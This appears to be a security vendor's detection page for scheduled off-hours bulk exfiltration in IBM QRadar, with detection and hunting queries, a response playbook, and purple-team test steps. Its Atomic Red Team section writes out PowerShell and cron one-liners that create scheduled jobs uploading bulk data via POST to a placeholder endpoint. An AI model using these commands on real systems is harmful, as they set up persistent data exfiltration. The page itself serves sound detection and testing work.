THREAT-Exfil-ScheduledBulkTransfer IBM QRadar · QRadar

Detect Scheduled Off-Hours Bulk Data Transfer in IBM QRadar

Adversaries may schedule data exfiltration to occur only at specific times of day — typically off-hours, overnight, or during weekends — to blend the transfer with lower baseline traffic and reduce the likelihood of live monitoring or analyst review. This is frequently implemented via a scheduled task, cron job, or malware-internal timer that triggers a bulk upload once collected data has been staged. Detection focuses on identifying large outbound data transfers that occur outside of a host or user's established working-hours baseline, especially when correlated with a scheduled task or cron job creation shortly beforehand.

MITRE ATT&CK

Tactic
Exfiltration

QRadar Detection Query

IBM QRadar (QRadar)
sql
SELECT
  DATEFORMAT(starttime, 'YYYY-MM-dd HH:mm:ss') AS EventTime,
  "Computer" AS Hostname,
  destinationip AS DestinationIP,
  LONG("BytesSent") AS BytesSent,
  EXTRACT(HOUR FROM starttime) AS HourOfDay
FROM events
WHERE
  LOGSOURCETYPENAME(devicetype) IN ('Netflow', 'Palo Alto Networks Firewall')
  AND starttime > NOW() - 1 DAYS
  AND LONG("BytesSent") > 104857600
  AND (EXTRACT(HOUR FROM starttime) < 7 OR EXTRACT(HOUR FROM starttime) >= 19)
ORDER BY BytesSent DESC
medium severity medium confidence

QRadar AQL query flagging outbound network transfers exceeding 100MB occurring outside the 07:00-19:00 working-hours window, as candidates for scheduled off-hours exfiltration (T1029). Correlate with a separate scheduled-task-creation rule/offense in QRadar's rule engine for full detection fidelity.

Data Sources

NetFlowPalo Alto Networks Firewall Traffic Logs

Required Tables

events

False Positives & Tuning

  • Scheduled backup or replication jobs that legitimately run overnight
  • Distributed teams operating in a timezone where 'off-hours' is a normal working period

Other platforms for THREAT-Exfil-ScheduledBulkTransfer


Testing Methodology

Validate this detection against 2 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Create Scheduled Task and Simulate Off-Hours Bulk Upload

    Expected signal: Windows Security Event ID 4698 (Scheduled Task Created) for 'df00tech-test-sync' with the encoded PowerShell command in the task action. Sysmon Event ID 1 for the powershell.exe process launched by the Task Scheduler engine (parent: svchost.exe / taskeng.exe). DeviceNetworkEvents/Sysmon Event ID 3 showing an outbound POST of ~120MB to the test endpoint.

  2. Test 2Cron-Based Scheduled Exfiltration on Linux

    Expected signal: Auditd or Sysmon-for-Linux process execution events for `crontab`, followed at the scheduled time by `dd` and `curl` process creation events with the destination URL in the command line. Cron execution log entry in `/var/log/cron` or `journalctl -u cron` at 23:59.


Response Playbook

Triage

  1. Confirm the destination of the transfer — internal backup/DR infrastructure and known cloud storage endpoints used for legitimate backups should be distinguished from unfamiliar external IPs or domains
  2. Identify the scheduled task or cron job responsible, if HasRecentScheduledTask is true — review its creation time, the account that created it, the command it executes, and whether it is registered in change management or IT asset documentation as an approved job
  3. Determine whether the host and user have an established off-hours transfer baseline (e.g., a nightly backup job that has run consistently for months) versus a newly appearing pattern within the last few days
  4. Review the process responsible for the transfer (InitiatingProcessFileName/CommandLine) — legitimate backup agents (Veeam, Commvault, rsync, robocopy) have recognizable names and command-line patterns distinct from custom scripts, curl/wget, or unusual interpreters (python, powershell) moving data
  5. Check the volume and destination against the host's typical daytime transfer patterns — a host that normally sends single-digit MB during the day but sends hundreds of MB overnight to a new destination is highly suspicious
  6. If a scheduled task is involved, extract its full XML definition (`schtasks /query /tn <name> /xml`) or crontab entry to review the exact command, arguments, and any encoded/obfuscated content

Containment

  1. Disable or delete the suspicious scheduled task/cron job immediately once confirmed unauthorized (`schtasks /change /tn <name> /disable` or comment out the crontab entry) — do not delete until forensic capture is complete
  2. Block outbound connectivity to the confirmed malicious destination IP/domain at the firewall or proxy
  3. Isolate the host via EDR (Microsoft Defender: Isolate device) if the responsible process is confirmed malicious rather than a misconfigured legitimate job
  4. Preserve a copy of the scheduled task definition, associated script/binary, and any staged data files before remediation, for forensic analysis
  5. Rotate credentials used by the scheduled task's execution account if it runs under a service account or stored credential that may have been compromised

Evidence Collection

  1. Windows Security Event ID 4698 (Scheduled Task Created), 4700/4701 (Task Enabled/Disabled), 4702 (Task Updated) — full audit trail of the task's lifecycle including the creating user and full task XML
  2. Linux: `/var/log/cron` or `/var/log/syslog` entries for crontab modifications, and `crontab -l -u <user>` for current entries; `/var/spool/cron/crontabs/` for raw crontab files
  3. Task Scheduler library XML: `C:\Windows\System32\Tasks\<TaskName>` — the exact action, trigger, and command executed by the task
  4. NetFlow/firewall logs showing the full transfer session: duration, total bytes, destination IP/ASN, and protocol used
  5. Process creation logs (Sysmon Event ID 1) for the process that performed the actual transfer, including its full command line and parent process chain
  6. File system timestamps on any staged/archived data referenced by the transfer, to establish the collection-to-exfiltration timeline

Escalation Criteria

  • !The scheduled task/cron job was created very recently (within days) and is not documented in change management or IT's approved job inventory
  • !The transfer destination is a newly observed external IP/domain with no prior legitimate business relationship or corresponding DNS/threat-intel reputation
  • !The volume transferred substantially exceeds the host's historical baseline or represents a large fraction of a sensitive dataset (e.g., an entire customer database or source code repository)
  • !The responsible process is a script interpreter (PowerShell, Python) or LOLBin rather than a recognized backup/replication agent
  • !The same scheduling and off-hours transfer pattern appears on multiple hosts within a short period, suggesting a broader compromise or coordinated campaign
  • !The task/job execution account has been recently modified, has elevated privileges, or does not match the principle of least privilege for its stated function

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Windows Task Scheduler library: `C:\Windows\System32\Tasks\<TaskName>` — full task definition XML including triggers, actions, and run-as account
  • >Windows Registry: `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree` — task registration metadata and last-run timestamps
  • >Linux: `/etc/crontab`, `/etc/cron.d/`, `/var/spool/cron/crontabs/<user>` — scheduled job definitions and their exact command lines
  • >Linux: `/var/log/cron` or `journalctl -u cron` — historical execution log of cron jobs including start/stop times
  • >NetFlow/IPFIX records — precise transfer volume, duration, and destination for the off-hours session
  • >Backup/replication software logs (Veeam, Commvault, rsync logs) — used to distinguish a legitimate scheduled backup job's signature from an unauthorized one

Tuning Guidance

The single biggest false-positive source for this detection is legitimate overnight backup, replication, and ETL infrastructure, which by design transfers large volumes during off-hours. Before enabling alerting, inventory all approved recurring backup/replication jobs (Veeam, Commvault, database backup jobs, data-warehouse ETL pipelines) along with their expected hosts, destinations, and typical transfer volumes, and suppress or route these to a low-priority queue. For globally distributed organizations, define working-hours windows per site/region rather than a single fixed window, since 'off-hours' in one timezone may be a legitimate business day elsewhere. Prioritize alerting on the intersection of (a) a newly created scheduled task/cron job and (b) an off-hours transfer to a destination not seen in the host's 30-day baseline — this combination sharply reduces noise compared to alerting on transfer volume alone. Consider also enriching with destination reputation (newly registered domains, non-corporate cloud storage, personal file-sharing services) to further prioritize the highest-risk transfers for immediate review.


Hunting Queries

30-day baseline hunt for hosts with a recurring pattern of large (>50MB) off-hours transfers across more than 3 separate occasions — establishes which hosts have a legitimate recurring backup/replication baseline versus a newly appearing pattern worth deeper investigation.

Hunting — KQL
kql
DeviceNetworkEvents
| where Timestamp > ago(30d)
| extend HourOfDay = datetime_part("hour", Timestamp)
| where HourOfDay < 7 or HourOfDay >= 19
| where BytesSent > 52428800
| summarize TransferCount=count(), TotalMB=sum(BytesSent)/1048576, Destinations=make_set(RemoteUrl, 10) by DeviceName
| where TransferCount > 3
| sort by TotalMB desc
Hunting — SPL
spl
index=network sourcetype="netflow"
| eval hour_of_day=strftime(_time, "%H")
| where (hour_of_day < 7 OR hour_of_day >= 19) AND bytes_out > 52428800
| stats count as TransferCount, sum(bytes_out)/1048576 as TotalMB, values(dest_ip) as Destinations by host
| where TransferCount > 3
| sort - TotalMB

Hunt for all newly created scheduled tasks over the past 7 days across the environment, to be manually cross-referenced against the approved job inventory and correlated with any subsequent off-hours transfer activity from the same host.

Hunting — KQL
kql
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("schtasks.exe", "at.exe")
| where ProcessCommandLine has "/create"
| extend HourOfDay = datetime_part("hour", ProcessCommandLine)
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
| sort by Timestamp desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Security" EventCode=4698
| table _time, host, Subject_Account_Name, Task_Name, Command
| sort - _time

Atomic Red Team Tests

Test 1 Create Scheduled Task and Simulate Off-Hours Bulk Upload
windows

Simulates the two-stage pattern of scheduled exfiltration: creation of a Windows scheduled task followed by a large simulated outbound transfer, mimicking an adversary configuring a recurring off-hours exfiltration job. The transfer target should be a benign test endpoint controlled by the purple team, not a production destination.

Command

powershell
powershell.exe -Command "schtasks /create /tn 'df00tech-test-sync' /tr 'powershell.exe -Command \"$data=[byte[]]::new(120MB);(New-Object Random).NextBytes($data);Invoke-WebRequest -Uri https://your-test-endpoint.example/upload -Method POST -Body $data -ErrorAction SilentlyContinue\"' /sc once /st 23:59 /ru SYSTEM /f; schtasks /run /tn 'df00tech-test-sync'"

Cleanup

powershell
powershell.exe -Command "schtasks /delete /tn 'df00tech-test-sync' /f"

Expected Telemetry

Windows Security Event ID 4698 (Scheduled Task Created) for 'df00tech-test-sync' with the encoded PowerShell command in the task action. Sysmon Event ID 1 for the powershell.exe process launched by the Task Scheduler engine (parent: svchost.exe / taskeng.exe). DeviceNetworkEvents/Sysmon Event ID 3 showing an outbound POST of ~120MB to the test endpoint.

Expected Detection

KQL: OffHoursTransfer fires if the task runs outside the 07:00-19:00 window, with HasRecentScheduledTask=true since the schtasks /create event (Event ID 4698) occurred within 6 hours of the transfer. SPL: equivalent join between EventCode=4698 and the netflow transfer surfaces HasRecentScheduledTask=1.

Test 2 Cron-Based Scheduled Exfiltration on Linux
linux

Simulates a Linux adversary adding a cron entry that triggers a large data upload during a low-traffic overnight window, replicating a common pattern for scheduled exfiltration on Linux servers.

Command

bash
bash -c "(crontab -l 2>/dev/null; echo '59 23 * * * dd if=/dev/urandom bs=1M count=120 | curl -s -X POST --data-binary @- https://your-test-endpoint.example/upload') | crontab -; run-parts --test /etc/cron.d 2>/dev/null; systemctl restart cron 2>/dev/null || service cron restart 2>/dev/null"

Cleanup

bash
bash -c "crontab -l | grep -v 'your-test-endpoint.example' | crontab -"

Expected Telemetry

Auditd or Sysmon-for-Linux process execution events for `crontab`, followed at the scheduled time by `dd` and `curl` process creation events with the destination URL in the command line. Cron execution log entry in `/var/log/cron` or `journalctl -u cron` at 23:59.

Expected Detection

KQL/SPL: the off-hours transfer signal fires on the curl POST occurring at 23:59 (outside the working-hours window), and correlates with the crontab modification event if crontab change auditing (auditd rule on `/var/spool/cron/crontabs/`) is enabled on the host.

Related Detections